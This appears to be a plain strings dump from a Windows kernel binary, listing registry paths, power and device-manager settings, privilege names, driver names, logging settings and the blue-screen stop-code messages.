WatchdogFirstChanceInMs WatchdogBugcheckEnabled unknown .Raw .Translated SYSTEM DRIVERS DEVICES \OSDataRoot\Windows\System32\config\DEVICES VerifierExt.sys DPC Delegate Thread Idle Thread SMT Isolation Thread ZeroPool KmWin81VersionLie KmWin8VersionLie KmWin7VersionLie driverscope ClearPCIDBits Memcpy KasperskyShim yUseVtHardware KernelPadSectionsOverride SkipDriverUnload UserCetBasicModeAllowRetTargetNotCetCompat Control\Power DirectedDripsAction AllowHibernate HiberFileType HiberFileSizePercent HibernateEnabled LidReliabilityState \Registry\Machine\SYSTEM\CurrentControlSet\Control\Power\LastThermalEvent ShutdownOccurred ShutdownSource ShutdownTemperature ShutdownTotalUpTime PowerButton Power ProcessorThrottleLogInterval HiberbootEnabled \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\POWER UndockPowerPolicy \Registry\Machine\Software\Policies\Microsoft\Windows NT AwayModeEnabled DontPowerOffAfterShutdown Lp running below P1 due to Power Constraints. Reserved Force Idle. Capability Change. Reserved. Die-guidance. FW request to stop using Lp. Over-Clocking driver. Invalid Unknown PowerButton SleepButton AcDcBurst RemoteConnection UserDisplayBurst ScMonitorPower PoSetSystemState SetThreadExecutionState FullWake SessionUnlock ScreenOffRequest ScreenOffTimeout PolicyChange InputHid InputPoUserPresent InputSessionSwitch InputInitialization Signal SignalPwrNotif SignalMobileShell SignalHeyCortana SignalHolographicShell SignalFingerprint DirectedDrips AcDcDisplayBurstSuppressed BuiltinPanel BatteryPreCritical BatteryCountChangeSuppressed SleepExit BatteryCountChange ScreenOffGracePeriod ScreenOffThermal DynamicPartitioning SxTransition SystemIdle Proximity ResumeS4 Terminal WinRT UserInput InputKeyboard InputMouse InputTouchpad InputPen InputAccelerometer TerminalInit SignalSensorsHumanPresence InputTouch NearProximity MonitorUnDim AusterityBatteryDrain DozeRestrictedStandby SmartRestrictedStandby BatteryFeaturesGranted Default IsrDpc Overflow Undetermined HalpPerfInterrupt HalpInterruptLocalErrorService HalpInterruptThermalService HalpTimerClockIpiRoutine t(null) Connection Phase Devices DAM Phase Maintenance Phase PLM Phase Shell Phase Audio Activity Idle Phase Resiliency Phase (%d) \SleepstudyControlPort \Registry\Machine\SYSTEM\CurrentControlSet\Control\Power TtmDeviceCalloutCrashEnabled TtmDeviceAssignmentCallbackTimeout TtmDeviceClosingTimeout TtmDeviceInputModeChangeTimeout TtmDeviceDisplayStateChangeTimeout TtmDeviceBuiltinPanelStateChangeTimeout TtmDevicePrimaryDisplayVisibleStateChangeTimeout win32k.sys DfssShortTermSharingMS DfssLongTermSharingMS DfssGenerationLengthMS DfssLongTermFraction1024 DfssResolutionMS \SharedVmObjects Kernel-ProductInfoLegacyMapping Kernel-ProductInfo xn-- xl-- 23456789:;<=>?@ABCDEFGHX WWWWWWWWWWWW @@3;;;; D4@@@D;;;;;;;22 2WW2 !1Aa #+3;CScs \??\%ws\SystemApps\ \??\%ws\SysWOW64\ \??\%ws\System32\ \SystemRoot\SysWOW64\ \Registry\MACHINE\System\CurrentControlSet\Control\CI\NGEN \BitLockerWizardElev.exe Kernel-OneCore-VailGuest \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\SecureBoot UEFISecureBootEnabled PolicyPublisher PolicyVersion AvailableUpdates \REGISTRY\MACHINE\ TSA://ProcUnique EDP:// \Registry\Machine\SECURITY\Policy\GlobalSaclName \BaseNamedObjects StagedSD Flags DefaultCape CAPEs CAPID DefaultCap Name AppliesTo %08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x (%ls) %I64o %I64x %I64u SID(%ls) %ls, (%ls%ls) (%ls %ls) !"&)(<>=| #$'*+-./:;?@[\]^_`{}~ 0123456789abcdef \REGISTRY\MACHINE\OSBOOT\ControlSetOverride\Session Manager\Memory Management fltmgr.sys scsiport.sys storport.sys win32kfull.sys fwpkclnt.sys ndis.sys ks.sys portcls.sys vmswitch.sys wdiwifi.sys wificx.sys werkernel.sys Wdf01000.sys \Registry\Machine\System\CurrentControlSet\Services\IPT \Registry\Machine\SOFTWARE\Microsoft\.NETFramework Enable64Bit Memory Compression \SystemRoot\System32\win32k.sys system32\config\VsmDrtmEncLkeyPkg VsmGracePeriodAction VsmSrtmEncryptedLKeyPkg system32\config\VsmSrtmEncLkeyPkg VsmLKeyBlob system32\config\vsmlkey VsmSrtmUnlatchedUnsealPolicy system32\config\VsmSrtmUnlatchedUnsealPolicy VsmSrtmLatchedUnsealPolicy system32\config\VsmSrtmLatchedUnsealPolicy VsmHbkBlob system32\config\VSMHBK VsmIdkBlob system32\config\VSMIDK Enabled LeapSeconds \Registry\Machine\System\CurrentControlSet\Control\LeapSecondInformation ActiveTimeBias TimeZoneInformation SiloTimeZoneMarker Bthport AudioSrv KNetPwrDepBroker Cmbatt Battc ArTestIdentifier NtosPo SensorService ButtonConverter MsGpioWin32 Button MsGpioClx TimeBrokerSvc TestIdentifier BrokerInfrastructure WinLogon LfSvc UuidSequenceNumber \Registry\Machine\System\CurrentControlSet\Control\Session Manager\AppCompatCache Rate Missing RowFailCheckThreshold DisablePrmAddressTranslation RowFailCheckExtent RowFailCheckEnable EnableBatchRowOffline RestoreCmciMaxAttempts RestoreCmciErrorLimit IgnoreDummyWrite RestoreCmciEnabled BadPageListLocation NotifyAllOfflines PendingPageListSz BadPageListMaxSize DisableOffline MemPersistOffline MemPfaThreshold MemPfaTimeout MemPfaDisable MemPfaPageCount FileName \Registry\Machine\System\CurrentControlSet\Control\Session Manager\ApiSetSchemaExtensions schemaext- AllowAllTrustedApps \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 Microcode Runtime Update Latency (x100s ns) OSDATA USER\ .DEFAULT HARDWARE SOFTWARE DEFAULT MACHINE\ SECURITY S-1-5-18 425000 O:SYG:SYD:(A;;GA;;;SY)(A;;GA;;;BA) Microsoft \REGISTRY\MACHINE\SOFTWARE\Wow6432Node \REGISTRY\MACHINE\SOFTWARE\Microsoft \REGISTRY\MACHINE\SOFTWARE\WowAA32Node \Driver\RegistryHiveCacheDriver \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\SESSION MANAGER\Configuration Manager BackupCount RegistryTransaction \??\LOG: .regtrans-ms \SystemRoot\System32\Config\TxR\ .TxR O:SYG:SYD:(A;;GR;;;SY)(A;;GR;;;BA)(A;;GR;;;IU)(A;;GR;;;AU)(A;;GR;;;AC)(A;;GR;;;S-1-5-32-1045063015-423899465-3012769174-65638258-1865874412-2349348127-763856749-1075684855)(A;;GR;;;S-1-15-3-1024-1045063015-423899465-3012769174-65638258-1865874412-2349348127-763856749-1075684855)(A;;GR;;;S-1-5-80-2970612574-78537857-698502321-558674196-1451644582)(A;;GR;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)(A;;GR;;;S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;;GR;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-12138253-543910227-1950414635-4190290187) KernelObjects FSHA256 \AppPatch\ cSoftware\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates\ManifestedMergeStubSdbs DisableDoubleQuerySdbs Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\SdbUpdates MinMergeVer MergeVer .MergeVer_ __NotRedirected__ StagedDelete_ msiMerge.sdb drvMerge.sdb msimain.sdb sysMerge.sdb pcamain.sdb drvmain.sdb sysmain.sdb acres.dll appraiser.sdb frxmain.sdb \REGISTRY\MACHINE\%s dbRegistryDefaultName Velocity Tag_MATCHING_COMMAND_LINE_Supported Tag_MATCHING_SDB_CAPABILITY_Supported Tag_MATCH_LOGIC_NOT_IF_SDB_CAPABILITY_EXISTS_Supported CapabilityAlwaysExists __PROCESS_HISTORY bFilePath .sdb \Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags DatabaseRuntimePlatform DatabaseType \appraiser Custom Custom\Custom64 \CustomSDB \MergeSdbFilesSource AppPatch64 \AppPatch \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB ]\Registry\Machine \SystemRoot \\.\ \??\UNC\ ]%systemroot%\system32 %sysnative% ]%system32% systemroot 4%programfilesnative% %systemdrive%\Program Files %windir% %systemroot% o\SysNative \System32 \SysWOW64 \SysARM32 ]Found Did not find 0x%I64X CompanyName ProductName ProductVersion FileDescription VS_VERSION_INFO \StringFileInfo\%04X%04X\%s \StringFileInfo\040904B0\ \StringFileInfo\040904E4\ \StringFileInfo\000004B0\ \StringFileInfo\000004E4\ \VarFileInfo\Translation InternalName LegalCopyright FileVersion OriginalFilename WIN://ISMULTISESSIONSKU Privileges TrustProtectionType TrustProtectionLevel IntegrityLevel SeIncreaseWorkingSetPrivilege SeRelabelPrivilege SeTrustedCredManAccessPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeManageVolumePrivilege SeEnableDelegationPrivilege SeSyncAgentPrivilege SeUndockPrivilege SeRemoteShutdownPrivilege SeChangeNotifyPrivilege SeSystemEnvironmentPrivilege SeAuditPrivilege SeDebugPrivilege SeShutdownPrivilege SeRestorePrivilege SeBackupPrivilege SeCreatePermanentPrivilege SeCreatePagefilePrivilege SeIncreaseBasePriorityPrivilege SeProfileSingleProcessPrivilege SeSystemtimePrivilege SeSystemProfilePrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege SeSecurityPrivilege SeTcbPrivilege SeMachineAccountPrivilege SeIncreaseQuotaPrivilege SeLockMemoryPrivilege SeAssignPrimaryTokenPrivilege SeCreateTokenPrivilege # %d <0x%08X> %{ {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} SeDelegateSessionUserImpersonatePrivilege SeCreateSymbolicLinkPrivilege SeTimeZonePrivilege %% ObjectNames \Registry\Machine\System\CurrentControlSet\Services\EventLog\Security \DosDevices\A: \KernelObjects\BcdSyncMutant Stop Code: What failed: %1% complete You can restart. We'll restart for you. We're just collecting some error info, and then you can restart. We're just collecting some error info, and then we'll restart for you. If you call a support person, give them this info: Your device ran into a problem and needs to restart. 0123456789 x0123456789ABCDEF ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._ It is now safe to power off the system. We just need a few more seconds to shut down. Please release the power button. Your Windows Insider Build ran into a problem and needs to restart. https://www.windows.com/stopcode For more information about this issue and possible fixes, visit \REGISTRY\USER\ ControlSet%03d Current Select CurrentControlSet \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT \REGISTRY\MACHINE\SOFTWARE\CLASSES \REGISTRY\USER ClassGuid Provider Locale SignerScore SignerName Published Inbox OemPath InfName SoftwareKeyPath KeyPath SystemPath SystemRoot SetupStatus SetupOptions UpdateDate SchemaVersion ConfigOptions ConfigMode UnloadTimeout Updated OemInfMap Architecture Version CertificationVersion ExecutionModes FrameworkFlags CatalogAttributes ManifestHash Isolated IsolationFlags OsVersionCeiling OsVersionFloor Invalidated PrimitiveFlags Catalog DiskSize FileSize ExtensionContractIds NeedsReconfig ClassVersion ImportDate SystemCritical TargetComputerIds Product LockLevel StatusFlags ExtensionId Configurable ConfigurableFlags BootCritical DriverVersion DriverDate SubDir NumFlushes MaxEntriesStored TotalEntriesFlushed MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumAllocationFailures NumLargeEventFailures SummaryCount AllowContainerNesting MACHINE USER \Registry\WC 2):) M/l/ 1d1 @3r3 0XQX ]z] API- EXT- API- EXT- jjjj jjjj jjjj \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Containers WaitForRestore \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Containers\Policy\5A3AA949-2A66-4A95-8107-DAC51D328213\E08898D5-8D02-40E9-9A8B-50265E087620 \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management LargeWriteSize SoftThrottleLargeWriteAtPct TopBottomDPTEqual LazyWriterPercentageOfNumProcs PeriodicTelemetrySampleFrequency PeriodicTelemetryEventFrequency SoftThrottleDelayInMs MaxLazyWritePages EnableAsyncLazywrite EnableAsyncLazywriteMulti PeriodicTelemetryReportFrequency DisableCacheTelemetry 256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms \Registry\Machine\System\CurrentControlSet\Control\FileSystem\GroupPolicyKeys \Registry\Machine\System\CurrentControlSet\Services\FsDepends\Parameters VirtualDiskMaxTreeDepth \Callback\PowerState \KernelObjects\HvlWithdrawAllowed \Registry\Machine\System\CurrentControlSet\Control\CrashControl AttemptOffline OfflineMemoryDumpUseCapability EnableOfflineDumps \SystemRoot\System32\Drivers\crashdmp.sys DumpInstance UseRemovePagesArray MinRemoveAllocSize CrashDumpEnabled AutoReboot \??\ C:\pagefile.sys PartialDumpControl BugCheckCode BootStatus \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\BitlockerStatus BugCheckProgress BugCheckParameter1 (Unavailable) AllowRemoteDASD \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\RemovableStorageDevices MmAddRangeToCrashDump ChunkCRCList allocation failed, IoSpaceCorruptionDetection is disabled! \Registry\Machine\System\CurrentControlSet\Control\DeviceGuard \KernelObjects\MemoryPartitionHyperV \Registry\Machine\System\CurrentControlSet\Control\LiveDump DumpFileSize UtilizeIOSpace NoSecrets \KernelObjects\LowNonPagedPoolCondition \KernelObjects\LowMemoryCondition \KernelObjects\HighCommitCondition EnableAdditionalEventTracing EnableIoSpaceCorruptionDetection EnableIoSpaceWriteProtection MirrorSystemPartitionOnly EnableInstrumentation SkipDisablingInterrupts EnableDynamicLowMemoryThreshold e\Registry\Machine\OSBOOT\System\CurrentControlSet\Control\LiveDump AllowLiveDump \Registry\Machine\System\CurrentControlSet\Services\WindowsTrustedRT\Parameters Flags \SystemRoot\system32\ntdumpkey.p7b \Registry\Machine\System\CurrentControlSet\Control\CrashControl\EncryptionCertificates\Certificate.1 \Registry\Machine\System\CurrentControlSet\Control\CrashControl\ForceDumpsDisabled GuardedHost Microsoft Primitive Provider XTS-AES KeyLength MessageBlockLength DumpEncryptionEnabled ProvisionDumpKeyWithCertificate PublicKey Thumbprint SHA256 KeyDataBlob RSAPUBLICBLOB NACI IopLiveDumpGetCapturePagesResult IopLiveDumpGetCapturePagesMismatch ProcessorNumber ChunkIndex PageCount WriteBufferCRC WriteLength ByteOffset ChunkCRCMismatchWrite IopLiveDumpBufferDumpDataEntry IopLiveDumpBufferDumpDataExit ChunkCRC WriteComplete IopCaptureLiveDumpEntry BugcheckCode BugCheckParameter2 BugCheckParameter3 BugCheckParameter4 MemoryRunCount TotalAllocatedPageCount IopLiveDumpAllocateIoSpaceRangesResult RunCountIndex Buffer Length SkipEncryption IopLiveDumpWriteBuffer MdlPageCount NextRunBasePage RunPageCountLoop AllocatedPageCount RunBasePage RunPageCount MemoryRunCountLoop RunPageLoopCount NTStatus EstimatedPageCount EstimatedRequiredPageCount EstimatedPageCount Not Available LineNum NULL WOW64 \Registry\Machine\System\CurrentControlSet\Control\PnP PollBootPartitionTimeout DynamicInstalledProducts Source SMBIOS Version Current\ProductIds \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Update\TargetingInfo\DynamicInstalled ActivationTime DeactivationTime DeactivationVersion CreationTime 0.0.0.0 None Enum BusRelations TransportRelations Class Unknown Service EjectRelations RemovalRelations PowerRelations !SAC> unknown_module ReadyTimeTicks ThreadReadyCount BoostingPeriodMultiplier \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\kernel ScanLatencyTicks FeatureSettings \Registry\Machine\System\CurrentControlSet\Services\ Session Manager\Memory Management KernelPadSectionsOverride USB\ PCI\ DirectedFxPowerStateFailure UserPresenceSet ThermalLogging Processor %u Processor 9999999999 PopPowerButton IdlePhaseWatchdog Reserve Configuration Update AdaptiveStandby .mui .mun SystemResources\ Unable to Allocate space for ATOM name. Global Atom Table Entry Unable to capture ATOM name. PortableOperatingSystem MiniNT \SystemRoot\bootstat.dat \OSDataRoot\Windows\bootstat.dat OsBootstatPath \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control %02X-%02X-%02X-%02X-%02X-%02X %u.%u.%u.%u ]:%u ::ffff:0:%u.%u.%u.%u ::%hs%u.%u.%u.%u %%%u :%u.%u.%u.%u %s\%lu \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement\EnterpriseTempControls \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement\EnterpriseTempControls\Active \UpdatePolicy\PolicyState TemporaryEnterpriseFeatureControlState %s%s TargetNtPath ActiveConfig \Policies TemporaryEnterpriseFeatureControlState_Mirrored WindowsUpdate \Registry\Machine\SOFTWARE\Microsoft\WindowsUpdate UpdatePolicy-UpdateManagementGroup FeatureManagement \Registry\Machine\SYSTEM\CurrentControlSet\Control\FeatureManagement WIN://PKGHOSTID WIN://SYSAPPID XBOX://LI WP://SKUID WIN://PKG \Registry\Machine\System\CurrentControlSet\Control\ValidationRunlevels WIN://NOALLAPPPKG Normal Permissive \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPEs \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPs MemCompression &Ven_ &Prod_ \Device\Unknown (null) VerifierOptions VerifierTriageContext VerifyDriversSuppress XdvVerifierOptions VrfPersistThroughUpgrade VerifyDrivers VerifierRandomTargets VerifyDriverLevel VerifierSettingState DifPluginConfigData VerifierTipSparseness VerifierLwspPoolTags VerifierTipLimitNumerator VerifierTipLimitDenominator CAR_LIVE_DUMP_EVENT POSTMORTEM XdvTipTag %lS %lu %lu VerifierExt \DriverData\ ContainerId ContainerCorrelationId EtwMaxLoggers RTBacklogRoot \Registry\Machine\System\CurrentControlSet\Control ContainerType \Registry\Machine\System\CurrentControlSet\Control\WMI BootApplicationPersistentData POSTTime BootmgrUserInputTime \Registry\Machine\System\CurrentControlSet\Control\Windows ShutdownTime BadHandleKmChk SMR-HostManaged-Enabled Kernel-ExpirationDate TerminalServices-RemoteConnectionManager-AllowAppServerMode Security-SPP-Action-StateData Security-SPP-GenuineLocalStatus Security-SPP-LastWindowsActivationTime Security-SPP-LastWindowsActivationHResult ProductOptions ProductPolicy \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\NLS\Language PreviousInstallLanguage InstallLanguage \Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\International RedirectedKey GlobalizationUserSettings ResourceTimeout BadPages \Registry\Machine\System\CurrentControlSet\Control\WHEA UncorrectedBadMemoryPage eWHEA_WMI_PROVIDER UnexpectedCP FirmwareModified Description System Process Name [%d]: %ws Failed to query process info. Status: %x Failed to allocate memory for space for process name. Failed to query process information for size. Status: %x Failed to open process. Status: %x Found %d processes using this file. No processes are using this file. Failed to query processes. Status: %x Failed to allocate process ID buffer. Failed to open file attributes. Status: %x Attempting to determine owner of file %ws. SyspartIsSpace failed for partition path: %s \Device\Harddisk%u\Partition%u SyspartGetPhysicalPartitions failed with error code: %x %s\%s \??\GLOBALROOT SyspartIsSpace failed for %s BiSpacesUpdatePhysicalDevicePath null APPLICATION DEVICE (0x 0123456789ABCDEF ConfigFlags Driver ClassGUID CompatibleIDs HardwareID DeviceDesc ClassDesc ContainerID RemovalPolicy UINumberDescFormat Address DeviceCharacteristics Exclusive DeviceType Security LowerFilters UpperFilters UINumber Capabilities LocationInformation FriendlyName ConfigScope AlternateCodePage \Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages\PendingDelete Type WindowsExcludedProcs Kernel-MUI-Number-Allowed Kernel-MUI-Language-Allowed Kernel-MUI-Language-Disallowed Kernel-MUI-Language-SKU \??\ \??\ \??\ \??\ ##?# ##?# \Wmi Guid \??\ \??\ System32\Drivers\ \DriverStore\Nodes\ Group SysWow64 \System32\drivers\ \??\Global\Volume \??\Global\ ErrorControl SafeBootDrivers NETWORK MINIMAL \??\Volume \SystemRoot\ntbtlog.txt \Device\%08lx \Sessions \DosDevices\ \Driver\%08u \REGISTRY\MACHINE\SYSTEM \\?\vmsmb File \Registry\Machine\System\CurrentControlSet\Control\Class Security Properties D:PAI(A;OICI;GA;;;SY) SecureDeviceClass Exclusive DeviceCharacteristics DeviceType NoUseClass NoDisplayClass Class SymlinkLocalToLocalEvaluation \Registry\Machine\Software\Policies\Microsoft\Windows\FileSystems\NTFS SymlinkRemoteToLocalEvaluation SymlinkRemoteToRemoteEvaluation SymlinkLocalToRemoteEvaluation \??\C: \Device\MountPointManager \Device\WindowsTrustedRT\{699AA2F1-A42E-40DF-BABE-3AAAD2BB6A47} \Device\SysEnv Application Popup NTFS Eventlog-System Length query failed Query failed Storage allocation failed AsynchronousOptions SystemSetupInProgress OOBEInProgress PnpSetupInProgress ChildLocationPaths LocationPaths Removable \Registry\Machine\System\CurrentControlSet\Control\DeviceOverrides StartOverride \Registry\Machine\System\Setup Respecialize BootDriverFlags System\CurrentControlSet\Control Current LastUse %s\%s ComputerIds KsrGuid Parameters DeviceReported BootConfig BasicConfigVector NoResourceAtInitTime OriginalServiceName ROOT\ %04u PnP Manager LogConf %wZ\%wZ DriverStatePath \SystemRoot\ServiceState SharedData UniqueSharedData Devices %wZ\%ws\%wZ\%ws Win32ServiceStateRoot %wZ\%wZ\%ws Data UniqueData \SystemRoot\System32\DriverState DriverState {53f5630d-b6bf-11d0-94f2-00a0c91efb8b} \Registry\Machine\System\CurrentControlSet\Control\Storage Deny_Execute \GLOBAL??\ BusScan SingleBusScan PNPROOT \Callback\BootDriver PassiveIntForceCriticalWorker Session Manager\I/O System PassiveIntRealTimeWorkerCount PassiveIntRealTimeWorkerPriority Enum Count INITSTARTFAILED NextInstance PnpFlags PnpAsyncNewDevices CSConfigFlags {00000000-0000-0000-0000-000000000000} {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} invalid character too many separators not terminated, too long or invalid number of separators failed IRP_MN_QUERY_ID-BusQueryDeviceID Control\FirmwareResources Phase LastAttemptStatus %s\%s\%s UniqueParentID ParentIdPrefix System\CurrentControlSet\Control\ManufacturingMode\Current\Services\ Start *Driver BootFlags NextParentID %s.%x.%x %x&%x&%x %s&%s AllocConfig PortName lpacPnpNotifications BUILD DRIVER PATH FAILED DATABASE OPEN FAILED DATABASE SECTION FAILED DATABASE MAPPING FAILED OUT OF MEMORY INIT DATABASE FAILED Policy READ DRIVER ID FAILED Root RootPort RootMemory ACPI\PNP0A03 ACPI\PNP0A08 RootDMA RootIRQ RootBusNumber DEVICES {00000000-0000-0000-FFFF-FFFFFFFFFFFF} RemappingSupported DmaRemappingCompatible \Registry\Machine\Software\Policies\Microsoft\Windows\Kernel DMA Protection DeviceEnumerationPolicy DMA Management RemappingFlags \Registry\Machine\SYSTEM\CurrentControlSet\Control\DeviceContainerPropertyUpdateEvents \REGISTRY\USER Unknown DeviceInterface DeviceContainer \Dev\Query \Dev\NoState \REGISTRY\USER\ DeviceInstallerClass DeviceInterfaceDisplay DeviceContainerDisplay AEPService Device DeviceInterfaceClass AEPContainer DevQueryFlagAllProperties DevQueryFlagLocalize DevicePanel Instance Instances DevQueryFlagUpdateResults Configuration Filters PendingConfiguration %hu.%hu. Shims \Registry\Machine\System\CurrentControlSet\Control\Compatibility\Driver ALPC Port \??\ GLOBALROOT Global DosDevices UNKNOWN \KernelObjects\SuperfetchScenarioNotify BaseTime /prefetch: %s\%ws-%08X.%ws Op-%.17s-%08X \VOLUME{%08lx%08lx-%08lx} SavedSectInfoTracesMax SavedPageAccessTracesMax EnableSuperfetch EnablePrefetcher MaxNumPages PrefetchTimeoutHiberBoot \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters PrefetchTimeoutStandby PrefetchTimeoutHibernate HostingAppList NumTracePeriods MaxNumActiveTraces MaxNumSavedTraces PrefetchRoot PrefetchFlags MaxNumSections TimerPeriod \OSDataRoot RestrictedStandbyDozeTimeoutSeconds fDenyTSConnections ResumeContext Control\Winresume \Registry\Machine\SYSTEM\CurrentControlSet\Contr TTMDCallout Terminal TerminalEventQueue UACInstalled \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableCpuQuota \Registry\Machine\SYSTEM\CurrentControlSet\Control\LsaInformation EnableVirtualization EnableInstallerDetection TypeOfAdminApprovalMode EnableLUA NoRemoteThreadBeforeProcessInit DevOverrideEnable MaxLoaderThreads ProductSuite Terminal Server \SystemRoot\System32\ApiSetSchema.dll ProductOptions TSAppCompat \Sessions\%d\BaseNamedObjects\EventShutdownCSRSS \Sessions\%d\BaseNamedObjects\EventRitExited \Registry\Machine\SYSTEM\CurrentControlSet\Control\OneCore OCFW_Enabled ntdll.dll ForceWakeCharge AppExecutionAliasRedirect UseLargePages NodeOptions IoPriority AllowedCpuSets ImageExpansionMitigation Wow64 Debugger WorkingSetLimitInKB ExpectedConcurrencyCount PagePriority CpuPriorityClass MitigationOptions MitigationAuditOptions PartitionSystm \KernelObjects\Session%d \Registry\Machine\System\CurrentControlSet\Control\RtlFunctionality \NLS\NlsSectionCASE \SystemRoot\System32\c_%.3d.nls \NLS\NlsSectionCP%d \NLS\NlsSectionNORM%.8x \SystemRoot\System32\l_intl.nls \Registry\Machine\System\CurrentControlSet\Control\Nls\Normalization \SystemRoot\System32\%s FilterFullPath \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options UseFilter OEMCP \Registry\Machine\System\CurrentControlSet\Control\Nls\CodePage %%%u %%%u!%s! \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Files \Registry\Machine\System\CurrentControlSet\Control\StateSeparation\RedirectionMap\Keys Global\Session\%ld%s \AppContainerNamedObjects \Registry\Machine\Software\Microsoft\SecurityManager\AdminCapabilities TargetNtPath %s\%u-%u-%u-%u S-1- \BaseNamedObjects %s\%ld\%s BaseNamedObjects AppContainerNamedObjects TimeZoneInformation TimeZoneInformationSettings ActiveTimeBias Time Zones System Volume Information ObjectLength SHA1 Microsoft Primitive Provider LanmanNt ProductType \Registry\Machine\System\CurrentControlSet\Control\ProductOptions WinNt ServerNt Compact AuditLevel MICROSOFTELAMCERTIFICATEINFO MSELAMCERTINFOID WSLicensingService-LOBSideloadingActivated Kernel_Lsa_Ppl_Config \SeLsaCommandPort AnonymousAppContainerImpersonationLevelCheck \Registry\Machine\System\CurrentControlSet\Control\Lsa POLICYAPPID:// SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED EveryoneIncludesAnonymous \Global?? \Sessions\%d\DosDevices\%08x-%08x SymbolicLink TSA://ProcUnique \Sessions\%d %u-%u-%u-%u CrashOnAuditFail \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPs \Registry\Machine\System\CurrentControlSet\Control\Lsa\CentralizedAccessPolicies\CAPEs %s\%d FullPrivilegeAuditing \ADT_ETW_CHANNEL_INIT Bounds \Device\RdyBoost EncryptionMode EncryptionScope \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\StoreParameters ChainingModeCCM BlockLength ChainingMode MaxAcceleratorsPerNuma DescriptorsPerRequest \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management\StoreParameters\CacheInfo EnableKernelFlags Diagnostics\Performance\SecondaryLogonCKCLSettings Diagnostics\Performance\ShutdownCKCLSettings \Registry\Machine\System\CurrentControlSet\Control\ Diagnostics\Performance\BootCKCLSettings2 Diagnostics\Performance\BootCKCLSettings WaitingForLogonEnableKernelFlags \Registry\Machine\System\CurrentControlSet\Control\Diagnostics\Performance DisableDiagnosticTracing PerfDiag Logger ActiveShutdownDCL Diagnostics\Performance WdiContextLog DiagLog \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\WDI\Config SEMEnabled ScenarioTimeoutEnabled Instrumentation \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\Control\WDI\Scenarios Config ScenarioExecutionEnabled ScenarioExecutionRestrictions CaptureState EnableProperty EndEvents ContextProviders SEMTimeOutValue SEMUpdate Level Keyword \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows\WDI %08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x %ws_%d \WmiGuid\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\WMI\Restrictions HideMachine REGUPDATEINFO %ws%d ETWSecurityPath WMI\Security 00000000-0000-0000-0000-000000000000 PreferredProfile \Registry\Machine\Hardware\Description\System BootArchitecture Circular Kernel Context Logger Eventlog-Security NT Kernel Logger %SystemRoot% %DriverData% .etl \??\UNC\ %ws%ws AllowsHalt CMask EdgeDetect AnyThread Stepping Event Unit Interval \Registry\Machine\System\CurrentControlSet\Control\WMI\ProfileSource %ws\%ws Family Model \system32\Logfiles\WMI\ %ws%ws%ws%ws %ws%ws%ws .%03d %ws\%ws:%d %ws-%ws:%d CMaskInvert HostGuest PmuType Architecture svchost.exe \Registry\Machine\System\CurrentControlSet\Services\FileInfo oemsvchost.exe \Device\FileInfo %wZ%wc%wZ %wZ%wc%wZ%wc%wZ (null) EtwSessionDemuxEntry \Registry\Machine\System\CurrentControlSet\Control\WMI\AutoLogger ClockType MaxFileSize LogFileMode DisableRealtimePersistence FlushTimer MaximumBuffers FileName StackWalkingFilter Immutable FlushThreshold BufferSize MinimumBuffers 